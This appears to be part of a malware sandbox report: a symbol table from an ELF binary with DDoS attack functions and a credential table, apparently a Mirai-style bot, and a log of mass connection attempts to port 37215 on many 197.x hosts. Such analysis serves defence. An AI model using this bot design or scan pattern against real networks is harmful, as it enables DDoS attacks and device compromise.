_fini	.symtab	0x1e920	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x297dc	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fp_out_narrow	.symtab	0x13670	132	FUNC	<unknown>	DEFAULT	2
_fpmaxtostr	.symtab	0x1a358	2036	FUNC	<unknown>	HIDDEN	2
_fpmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fwrite.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_load_inttype	.symtab	0x1a15c	116	FUNC	<unknown>	HIDDEN	2
_load_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_memcpy	.symtab	0x1b5e0	0	FUNC	<unknown>	HIDDEN	2
_ppfs_init	.symtab	0x13de8	160	FUNC	<unknown>	HIDDEN	2
_ppfs_init.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_parsespec	.symtab	0x140d0	1392	FUNC	<unknown>	HIDDEN	2
_ppfs_parsespec.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_prepargs	.symtab	0x13e88	68	FUNC	<unknown>	HIDDEN	2
_ppfs_prepargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_ppfs_setargs	.symtab	0x13ecc	432	FUNC	<unknown>	HIDDEN	2
_ppfs_setargs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_promoted_size	.symtab	0x1407c	84	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_pop_restore	.symtab	0x1847c	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x18474	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x18a64	8	FUNC	<unknown>	DEFAULT	2
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x19ae0	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x132c4	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x29538	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x297bc	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x1adac	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x297d8	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x297c8	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x297d4	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x2953c	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x13344	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x29520	4	OBJECT	<unknown>	DEFAULT	13
_stdlib_strto_l	.symtab	0x16f94	472	FUNC	<unknown>	HIDDEN	2
_stdlib_strto_l.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_store_inttype	.symtab	0x1a1d0	44	FUNC	<unknown>	HIDDEN	2
_store_inttype.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_string_syserrmsgs	.symtab	0x2030c	2906	OBJECT	<unknown>	HIDDEN	4
_string_syserrmsgs.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_trans2w.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_uintmaxtostr	.symtab	0x1a1fc	348	FUNC	<unknown>	HIDDEN	2
_uintmaxtostr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_vfprintf_internal	.symtab	0x136f4	1780	FUNC	<unknown>	HIDDEN	2
_vfprintf_internal.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x1680c	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x14e94	116	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
add_auth_entry	.symtab	0xf2c8	360	FUNC	<unknown>	DEFAULT	2
atoi	.symtab	0x16f58	32	FUNC	<unknown>	DEFAULT	2
atol	.symtab	0x16f58	32	FUNC	<unknown>	DEFAULT	2
atol.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app_http	.symtab	0x81d0	7848	FUNC	<unknown>	DEFAULT	2
attack_get_opt_int	.symtab	0xa458	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0xa3ec	108	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0xa078	92	FUNC	<unknown>	DEFAULT	2
attack_gre.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_gre_tcpfrag	.symtab	0xa710	1708	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0xa4c8	584	FUNC	<unknown>	DEFAULT	2
attack_method.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_method_tcpxmas	.symtab	0xb1f4	1972	FUNC	<unknown>	DEFAULT	2
attack_method_udpgame	.symtab	0xadbc	1080	FUNC	<unknown>	DEFAULT	2
attack_parse	.symtab	0xa1d0	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0xa0d4	252	FUNC	<unknown>	DEFAULT	2
attack_tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp_ack	.symtab	0xb9a8	1772	FUNC	<unknown>	DEFAULT	2
attack_tcp_std	.symtab	0xc748	672	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0xc094	1716	FUNC	<unknown>	DEFAULT	2
auth_table	.symtab	0x297b0	4	OBJECT	<unknown>	DEFAULT	14
auth_table_len	.symtab	0x29784	4	OBJECT	<unknown>	DEFAULT	14
auth_table_max_weight	.symtab	0x297b4	2	OBJECT	<unknown>	DEFAULT	14
been_there_done_that	.symtab	0x2b7e8	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x14f08	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x1c318	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
calloc	.symtab	0x15e2c	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xc9e8	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xca38	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x1304c	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x180e0	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x12b48	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x29714	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x2c290	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x14f90	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ensure_single_instance	.symtab	0xe2a0	456	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x2bd3c	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x1716c	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exp10_table	.symtab	0x21220	72	OBJECT	<unknown>	DEFAULT	4
fake_time	.symtab	0x297b8	4	OBJECT	<unknown>	DEFAULT	14
fclose	.symtab	0x196b4	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x1276c	244	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x2950c	4	OBJECT	<unknown>	DEFAULT	13
fd_serv	.symtab	0x29510	4	OBJECT	<unknown>	DEFAULT	13
fd_to_DIR	.symtab	0x12c58	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x12dec	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x1b05c	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x1ab4c	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x1b408	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x1ac90	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x1b534	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fmt	.symtab	0x21208	20	OBJECT	<unknown>	DEFAULT	4
fopen	.symtab	0x199e4	32	FUNC	<unknown>	DEFAULT	2

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 20, 2022 16:02:42.447993040 CET	42836	443	192.168.2.23	91.189.91.43
Feb 20, 2022 16:02:42.523511887 CET	27221	37215	192.168.2.23	197.41.200.146
Feb 20, 2022 16:02:42.523572922 CET	27221	37215	192.168.2.23	197.27.57.146
Feb 20, 2022 16:02:42.523619890 CET	27221	37215	192.168.2.23	197.241.203.157
Feb 20, 2022 16:02:42.523627043 CET	27221	37215	192.168.2.23	197.213.129.34
Feb 20, 2022 16:02:42.523639917 CET	27221	37215	192.168.2.23	197.56.46.210
Feb 20, 2022 16:02:42.523673058 CET	27221	37215	192.168.2.23	197.201.7.72
Feb 20, 2022 16:02:42.523679018 CET	27221	37215	192.168.2.23	197.132.153.108
Feb 20, 2022 16:02:42.523719072 CET	27221	37215	192.168.2.23	197.162.138.165
Feb 20, 2022 16:02:42.523730040 CET	27221	37215	192.168.2.23	197.78.116.101
Feb 20, 2022 16:02:42.523768902 CET	27221	37215	192.168.2.23	197.255.82.223
Feb 20, 2022 16:02:42.523802996 CET	27221	37215	192.168.2.23	197.175.139.174
Feb 20, 2022 16:02:42.523844004 CET	27221	37215	192.168.2.23	197.32.170.8
Feb 20, 2022 16:02:42.523848057 CET	27221	37215	192.168.2.23	197.128.143.247
Feb 20, 2022 16:02:42.523868084 CET	27221	37215	192.168.2.23	197.116.24.185
Feb 20, 2022 16:02:42.523874044 CET	27221	37215	192.168.2.23	197.63.72.65
Feb 20, 2022 16:02:42.523902893 CET	27221	37215	192.168.2.23	197.0.143.144
Feb 20, 2022 16:02:42.523932934 CET	27221	37215	192.168.2.23	197.249.214.59
Feb 20, 2022 16:02:42.523952007 CET	27221	37215	192.168.2.23	197.164.49.104
Feb 20, 2022 16:02:42.523973942 CET	27221	37215	192.168.2.23	197.85.135.254
Feb 20, 2022 16:02:42.523983002 CET	27221	37215	192.168.2.23	197.63.12.22
Feb 20, 2022 16:02:42.524008989 CET	27221	37215	192.168.2.23	197.222.200.25
Feb 20, 2022 16:02:42.524039030 CET	27221	37215	192.168.2.23	197.56.34.96
Feb 20, 2022 16:02:42.524048090 CET	27221	37215	192.168.2.23	197.33.217.243
Feb 20, 2022 16:02:42.524089098 CET	27221	37215	192.168.2.23	197.67.125.167
Feb 20, 2022 16:02:42.524097919 CET	27221	37215	192.168.2.23	197.60.160.245
Feb 20, 2022 16:02:42.524142027 CET	27221	37215	192.168.2.23	197.79.27.1
Feb 20, 2022 16:02:42.524142027 CET	27221	37215	192.168.2.23	197.96.27.85
Feb 20, 2022 16:02:42.524157047 CET	27221	37215	192.168.2.23	197.49.65.67
Feb 20, 2022 16:02:42.524174929 CET	27221	37215	192.168.2.23	197.232.34.2
Feb 20, 2022 16:02:42.524219036 CET	27221	37215	192.168.2.23	197.51.122.52
Feb 20, 2022 16:02:42.524256945 CET	27221	37215	192.168.2.23	197.18.29.46
Feb 20, 2022 16:02:42.524280071 CET	27221	37215	192.168.2.23	197.149.180.81
Feb 20, 2022 16:02:42.524298906 CET	27221	37215	192.168.2.23	197.41.70.247
Feb 20, 2022 16:02:42.524327040 CET	27221	37215	192.168.2.23	197.230.167.51
Feb 20, 2022 16:02:42.524346113 CET	27221	37215	192.168.2.23	197.96.127.167
Feb 20, 2022 16:02:42.524373055 CET	27221	37215	192.168.2.23	197.104.229.18
Feb 20, 2022 16:02:42.524390936 CET	27221	37215	192.168.2.23	197.20.114.177
Feb 20, 2022 16:02:42.524406910 CET	27221	37215	192.168.2.23	197.32.47.127
Feb 20, 2022 16:02:42.524430037 CET	27221	37215	192.168.2.23	197.70.94.54
Feb 20, 2022 16:02:42.524450064 CET	27221	37215	192.168.2.23	197.233.112.217
Feb 20, 2022 16:02:42.524475098 CET	27221	37215	192.168.2.23	197.225.91.121
Feb 20, 2022 16:02:42.524502039 CET	27221	37215	192.168.2.23	197.48.90.39
Feb 20, 2022 16:02:42.524525881 CET	27221	37215	192.168.2.23	197.139.26.165
Feb 20, 2022 16:02:42.524549961 CET	27221	37215	192.168.2.23	197.184.98.211
Feb 20, 2022 16:02:42.524576902 CET	27221	37215	192.168.2.23	197.128.72.220
Feb 20, 2022 16:02:42.524599075 CET	27221	37215	192.168.2.23	197.244.65.77
Feb 20, 2022 16:02:42.524621010 CET	27221	37215	192.168.2.23	197.251.252.141
Feb 20, 2022 16:02:42.524636984 CET	27221	37215	192.168.2.23	197.1.96.84
Feb 20, 2022 16:02:42.524672031 CET	27221	37215	192.168.2.23	197.102.191.64
Feb 20, 2022 16:02:42.524701118 CET	27221	37215	192.168.2.23	197.34.255.50
Feb 20, 2022 16:02:42.524707079 CET	27221	37215	192.168.2.23	197.112.248.1
Feb 20, 2022 16:02:42.524745941 CET	27221	37215	192.168.2.23	197.239.93.153
Feb 20, 2022 16:02:42.524763107 CET	27221	37215	192.168.2.23	197.21.196.167
Feb 20, 2022 16:02:42.524791956 CET	27221	37215	192.168.2.23	197.152.54.100
Feb 20, 2022 16:02:42.524808884 CET	27221	37215	192.168.2.23	197.226.56.126
Feb 20, 2022 16:02:42.524833918 CET	27221	37215	192.168.2.23	197.60.6.137
Feb 20, 2022 16:02:42.524852991 CET	27221	37215	192.168.2.23	197.229.192.68
Feb 20, 2022 16:02:42.524882078 CET	27221	37215	192.168.2.23	197.115.40.180
Feb 20, 2022 16:02:42.524914026 CET	27221	37215	192.168.2.23	197.203.36.155
Feb 20, 2022 16:02:42.524950027 CET	27221	37215	192.168.2.23	197.171.110.207
Feb 20, 2022 16:02:42.524951935 CET	27221	37215	192.168.2.23	197.57.233.248
Feb 20, 2022 16:02:42.524981022 CET	27221	37215	192.168.2.23	197.41.52.42
Feb 20, 2022 16:02:42.525007963 CET	27221	37215	192.168.2.23	197.74.201.188
Feb 20, 2022 16:02:42.525027990 CET	27221	37215	192.168.2.23	197.204.50.181
Feb 20, 2022 16:02:42.525047064 CET	27221	37215	192.168.2.23	197.56.203.120
Feb 20, 2022 16:02:42.525074959 CET	27221	37215	192.168.2.23	197.147.26.90
Feb 20, 2022 16:02:42.525093079 CET	27221	37215	192.168.2.23	197.207.105.210
Feb 20, 2022 16:02:42.525126934 CET	27221	37215	192.168.2.23	197.142.184.95
Feb 20, 2022 16:02:42.525134087 CET	27221	37215	192.168.2.23	197.96.200.49
Feb 20, 2022 16:02:42.525163889 CET	27221	37215	192.168.2.23	197.42.247.233
Feb 20, 2022 16:02:42.525188923 CET	27221	37215	192.168.2.23	197.44.19.40
Feb 20, 2022 16:02:42.525207996 CET	27221	37215	192.168.2.23	197.143.135.13
Feb 20, 2022 16:02:42.525239944 CET	27221	37215	192.168.2.23	197.21.3.154
Feb 20, 2022 16:02:42.525259018 CET	27221	37215	192.168.2.23	197.66.108.95
Feb 20, 2022 16:02:42.525279045 CET	27221	37215	192.168.2.23	197.166.31.246
Feb 20, 2022 16:02:42.525305033 CET	27221	37215	192.168.2.23	197.56.185.164
Feb 20, 2022 16:02:42.525327921 CET	27221	37215	192.168.2.23	197.157.155.83
Feb 20, 2022 16:02:42.525343895 CET	27221	37215	192.168.2.23	197.94.69.64
Feb 20, 2022 16:02:42.525365114 CET	27221	37215	192.168.2.23	197.75.91.85
Feb 20, 2022 16:02:42.525397062 CET	27221	37215	192.168.2.23	197.167.100.134
Feb 20, 2022 16:02:42.525422096 CET	27221	37215	192.168.2.23	197.109.222.215
Feb 20, 2022 16:02:42.525445938 CET	27221	37215	192.168.2.23	197.181.34.75
Feb 20, 2022 16:02:42.525461912 CET	27221	37215	192.168.2.23	197.106.89.189
Feb 20, 2022 16:02:42.525490046 CET	27221	37215	192.168.2.23	197.169.79.238
Feb 20, 2022 16:02:42.525509119 CET	27221	37215	192.168.2.23	197.62.109.107
Feb 20, 2022 16:02:42.525535107 CET	27221	37215	192.168.2.23	197.160.203.135
Feb 20, 2022 16:02:42.525557041 CET	27221	37215	192.168.2.23	197.237.255.15
Feb 20, 2022 16:02:42.525587082 CET	27221	37215	192.168.2.23	197.175.188.47
Feb 20, 2022 16:02:42.525604963 CET	27221	37215	192.168.2.23	197.8.72.207
Feb 20, 2022 16:02:42.525631905 CET	27221	37215	192.168.2.23	197.75.32.170
Feb 20, 2022 16:02:42.525654078 CET	27221	37215	192.168.2.23	197.241.100.97
Feb 20, 2022 16:02:42.525684118 CET	27221	37215	192.168.2.23	197.192.238.239
Feb 20, 2022 16:02:42.525703907 CET	27221	37215	192.168.2.23	197.18.240.64
Feb 20, 2022 16:02:42.525717020 CET	27221	37215	192.168.2.23	197.114.20.73
Feb 20, 2022 16:02:42.525744915 CET	27221	37215	192.168.2.23	197.237.193.84
Feb 20, 2022 16:02:42.525765896 CET	27221	37215	192.168.2.23	197.97.176.100
Feb 20, 2022 16:02:42.525793076 CET	27221	37215	192.168.2.23	197.111.151.142
Feb 20, 2022 16:02:42.525815964 CET	27221	37215	192.168.2.23	197.155.153.20
Feb 20, 2022 16:02:42.525837898 CET	27221	37215	192.168.2.23	197.244.16.251
Feb 20, 2022 16:02:42.525893927 CET	27221	37215	192.168.2.23	197.160.238.198
Feb 20, 2022 16:02:42.525916100 CET	27221	37215	192.168.2.23	197.153.157.19
Feb 20, 2022 16:02:42.525919914 CET	27221	37215	192.168.2.23	197.150.152.60
Feb 20, 2022 16:02:42.525934935 CET	27221	37215	192.168.2.23	197.185.104.38
Feb 20, 2022 16:02:42.525959015 CET	27221	37215	192.168.2.23	197.155.249.91
Feb 20, 2022 16:02:42.525978088 CET	27221	37215	192.168.2.23	197.222.126.55
Feb 20, 2022 16:02:42.526007891 CET	27221	37215	192.168.2.23	197.235.253.134
Feb 20, 2022 16:02:42.526038885 CET	27221	37215	192.168.2.23	197.196.28.252
Feb 20, 2022 16:02:42.526060104 CET	27221	37215	192.168.2.23	197.153.141.209
Feb 20, 2022 16:02:42.526081085 CET	27221	37215	192.168.2.23	197.153.130.125
Feb 20, 2022 16:02:42.526112080 CET	27221	37215	192.168.2.23	197.245.10.78
Feb 20, 2022 16:02:42.526135921 CET	27221	37215	192.168.2.23	197.7.224.106
Feb 20, 2022 16:02:42.526154041 CET	27221	37215	192.168.2.23	197.18.244.29
Feb 20, 2022 16:02:42.526181936 CET	27221	37215	192.168.2.23	197.86.255.74
Feb 20, 2022 16:02:42.526216030 CET	27221	37215	192.168.2.23	197.200.188.175
Feb 20, 2022 16:02:42.526218891 CET	27221	37215	192.168.2.23	197.10.234.89
Feb 20, 2022 16:02:42.526248932 CET	27221	37215	192.168.2.23	197.194.231.31
Feb 20, 2022 16:02:42.526264906 CET	27221	37215	192.168.2.23	197.182.243.83
Feb 20, 2022 16:02:42.526299953 CET	27221	37215	192.168.2.23	197.196.86.178
Feb 20, 2022 16:02:42.526314974 CET	27221	37215	192.168.2.23	197.60.43.23
Feb 20, 2022 16:02:42.526341915 CET	27221	37215	192.168.2.23	197.121.16.140
Feb 20, 2022 16:02:42.526362896 CET	27221	37215	192.168.2.23	197.113.136.63
Feb 20, 2022 16:02:42.526401997 CET	27221	37215	192.168.2.23	197.254.53.189
Feb 20, 2022 16:02:42.526415110 CET	27221	37215	192.168.2.23	197.139.153.246
Feb 20, 2022 16:02:42.526432991 CET	27221	37215	192.168.2.23	197.126.197.84
Feb 20, 2022 16:02:42.526459932 CET	27221	37215	192.168.2.23	197.12.39.216
Feb 20, 2022 16:02:42.526473045 CET	27221	37215	192.168.2.23	197.160.130.88
Feb 20, 2022 16:02:42.526499033 CET	27221	37215	192.168.2.23	197.50.47.177
Feb 20, 2022 16:02:42.526530981 CET	27221	37215	192.168.2.23	197.104.244.139
Feb 20, 2022 16:02:42.526550055 CET	27221	37215	192.168.2.23	197.72.64.116
Feb 20, 2022 16:02:42.526575089 CET	27221	37215	192.168.2.23	197.84.40.65
Feb 20, 2022 16:02:42.526591063 CET	27221	37215	192.168.2.23	197.197.62.60
Feb 20, 2022 16:02:42.526617050 CET	27221	37215	192.168.2.23	197.255.230.230
Feb 20, 2022 16:02:42.526643991 CET	27221	37215	192.168.2.23	197.252.156.23
Feb 20, 2022 16:02:42.526659012 CET	27221	37215	192.168.2.23	197.113.13.82
Feb 20, 2022 16:02:42.526681900 CET	27221	37215	192.168.2.23	197.66.254.105
Feb 20, 2022 16:02:42.526701927 CET	27221	37215	192.168.2.23	197.236.147.241
Feb 20, 2022 16:02:42.526717901 CET	27221	37215	192.168.2.23	197.239.213.118
Feb 20, 2022 16:02:42.526745081 CET	27221	37215	192.168.2.23	197.100.28.175
Feb 20, 2022 16:02:42.526766062 CET	27221	37215	192.168.2.23	197.144.80.139
Feb 20, 2022 16:02:42.526793003 CET	27221	37215	192.168.2.23	197.225.245.33
Feb 20, 2022 16:02:42.526812077 CET	27221	37215	192.168.2.23	197.202.191.94
Feb 20, 2022 16:02:42.526845932 CET	27221	37215	192.168.2.23	197.208.175.169
Feb 20, 2022 16:02:42.526849031 CET	27221	37215	192.168.2.23	197.241.208.87
Feb 20, 2022 16:02:42.526875973 CET	27221	37215	192.168.2.23	197.136.245.91
Feb 20, 2022 16:02:42.526896000 CET	27221	37215	192.168.2.23	197.248.122.150
Feb 20, 2022 16:02:42.526928902 CET	27221	37215	192.168.2.23	197.47.160.161
Feb 20, 2022 16:02:42.527002096 CET	27221	37215	192.168.2.23	197.109.180.52
Feb 20, 2022 16:02:42.527014971 CET	27221	37215	192.168.2.23	197.78.104.81
Feb 20, 2022 16:02:42.527028084 CET	27221	37215	192.168.2.23	197.14.170.214
Feb 20, 2022 16:02:42.527034998 CET	27221	37215	192.168.2.23	197.173.56.47
Feb 20, 2022 16:02:42.527054071 CET	27221	37215	192.168.2.23	197.82.180.230
Feb 20, 2022 16:02:42.527070999 CET	27221	37215	192.168.2.23	197.195.1.130
Feb 20, 2022 16:02:42.527100086 CET	27221	37215	192.168.2.23	197.33.132.228
Feb 20, 2022 16:02:42.527115107 CET	27221	37215	192.168.2.23	197.27.6.234
Feb 20, 2022 16:02:42.527134895 CET	27221	37215	192.168.2.23	197.87.243.145
Feb 20, 2022 16:02:42.528017044 CET	27221	37215	192.168.2.23	197.3.52.131
Feb 20, 2022 16:02:42.528093100 CET	27221	37215	192.168.2.23	197.123.136.0
Feb 20, 2022 16:02:42.528111935 CET	27221	37215	192.168.2.23	197.0.65.207
Feb 20, 2022 16:02:42.528141975 CET	27221	37215	192.168.2.23	197.247.99.254
Feb 20, 2022 16:02:42.528163910 CET	27221	37215	192.168.2.23	197.53.162.140
Feb 20, 2022 16:02:42.528203964 CET	27221	37215	192.168.2.23	197.85.13.80
Feb 20, 2022 16:02:42.528633118 CET	27221	37215	192.168.2.23	197.235.189.187
Feb 20, 2022 16:02:42.528661013 CET	27221	37215	192.168.2.23	197.164.225.155
Feb 20, 2022 16:02:42.528709888 CET	27221	37215	192.168.2.23	197.245.180.84
Feb 20, 2022 16:02:42.528713942 CET	27221	37215	192.168.2.23	197.112.77.150
Feb 20, 2022 16:02:42.528757095 CET	27221	37215	192.168.2.23	197.103.57.159
Feb 20, 2022 16:02:42.528763056 CET	27221	37215	192.168.2.23	197.124.172.183
Feb 20, 2022 16:02:42.528780937 CET	27221	37215	192.168.2.23	197.70.80.238
Feb 20, 2022 16:02:42.528801918 CET	27221	37215	192.168.2.23	197.41.208.70
Feb 20, 2022 16:02:42.528852940 CET	27221	37215	192.168.2.23	197.61.228.118
Feb 20, 2022 16:02:42.528875113 CET	27221	37215	192.168.2.23	197.144.239.139
Feb 20, 2022 16:02:42.528927088 CET	27221	37215	192.168.2.23	197.168.230.149
Feb 20, 2022 16:02:42.528929949 CET	27221	37215	192.168.2.23	197.105.198.173
Feb 20, 2022 16:02:42.528950930 CET	27221	37215	192.168.2.23	197.253.128.58
Feb 20, 2022 16:02:42.529076099 CET	27221	37215	192.168.2.23	197.221.182.53
Feb 20, 2022 16:02:42.529103994 CET	27221	37215	192.168.2.23	197.66.96.19
Feb 20, 2022 16:02:42.529155016 CET	27221	37215	192.168.2.23	197.65.214.136
Feb 20, 2022 16:02:42.529181004 CET	27221	37215	192.168.2.23	197.223.19.11
Feb 20, 2022 16:02:42.529201031 CET	27221	37215	192.168.2.23	197.103.116.124
Feb 20, 2022 16:02:42.529217005 CET	27221	37215	192.168.2.23	197.234.197.64
Feb 20, 2022 16:02:42.529242992 CET	27221	37215	192.168.2.23	197.155.131.96
Feb 20, 2022 16:02:42.529284954 CET	27221	37215	192.168.2.23	197.232.42.21
Feb 20, 2022 16:02:42.529289007 CET	27221	37215	192.168.2.23	197.168.91.119
Feb 20, 2022 16:02:42.529339075 CET	27221	37215	192.168.2.23	197.18.152.225
Feb 20, 2022 16:02:42.529340029 CET	27221	37215	192.168.2.23	197.122.178.159
Feb 20, 2022 16:02:42.529406071 CET	27221	37215	192.168.2.23	197.108.150.191
Feb 20, 2022 16:02:42.529412985 CET	27221	37215	192.168.2.23	197.132.40.153
Feb 20, 2022 16:02:42.529431105 CET	27221	37215	192.168.2.23	197.171.62.219
Feb 20, 2022 16:02:42.529455900 CET	27221	37215	192.168.2.23	197.158.220.164
Feb 20, 2022 16:02:42.529472113 CET	27221	37215	192.168.2.23	197.102.26.213
Feb 20, 2022 16:02:42.529490948 CET	27221	37215	192.168.2.23	197.63.3.9
Feb 20, 2022 16:02:42.529517889 CET	27221	37215	192.168.2.23	197.27.53.76
Feb 20, 2022 16:02:42.529537916 CET	27221	37215	192.168.2.23	197.141.161.107
Feb 20, 2022 16:02:42.529587984 CET	27221	37215	192.168.2.23	197.204.192.54
Feb 20, 2022 16:02:42.529607058 CET	27221	37215	192.168.2.23	197.6.63.125
Feb 20, 2022 16:02:42.529628992 CET	27221	37215	192.168.2.23	197.185.63.237
Feb 20, 2022 16:02:42.529659033 CET	27221	37215	192.168.2.23	197.178.186.206
Feb 20, 2022 16:02:42.529676914 CET	27221	37215	192.168.2.23	197.45.162.98
Feb 20, 2022 16:02:42.529701948 CET	27221	37215	192.168.2.23	197.166.190.172
Feb 20, 2022 16:02:42.529782057 CET	27221	37215	192.168.2.23	197.35.13.156
Feb 20, 2022 16:02:42.529805899 CET	27221	37215	192.168.2.23	197.87.88.66
Feb 20, 2022 16:02:42.529860973 CET	27221	37215	192.168.2.23	197.5.187.227
Feb 20, 2022 16:02:42.529874086 CET	27221	37215	192.168.2.23	197.254.188.23
Feb 20, 2022 16:02:42.529881001 CET	27221	37215	192.168.2.23	197.178.0.171
Feb 20, 2022 16:02:42.529902935 CET	27221	37215	192.168.2.23	197.255.42.197
Feb 20, 2022 16:02:42.529910088 CET	27221	37215	192.168.2.23	197.161.52.162
Feb 20, 2022 16:02:42.529934883 CET	27221	37215	192.168.2.23	197.122.157.169
Feb 20, 2022 16:02:42.529953003 CET	27221	37215	192.168.2.23	197.158.150.130
Feb 20, 2022 16:02:42.529977083 CET	27221	37215	192.168.2.23	197.102.96.62
Feb 20, 2022 16:02:42.530030966 CET	27221	37215	192.168.2.23	197.169.246.82
Feb 20, 2022 16:02:42.530030966 CET	27221	37215	192.168.2.23	197.145.9.80
Feb 20, 2022 16:02:42.530040026 CET	27221	37215	192.168.2.23	197.167.14.151
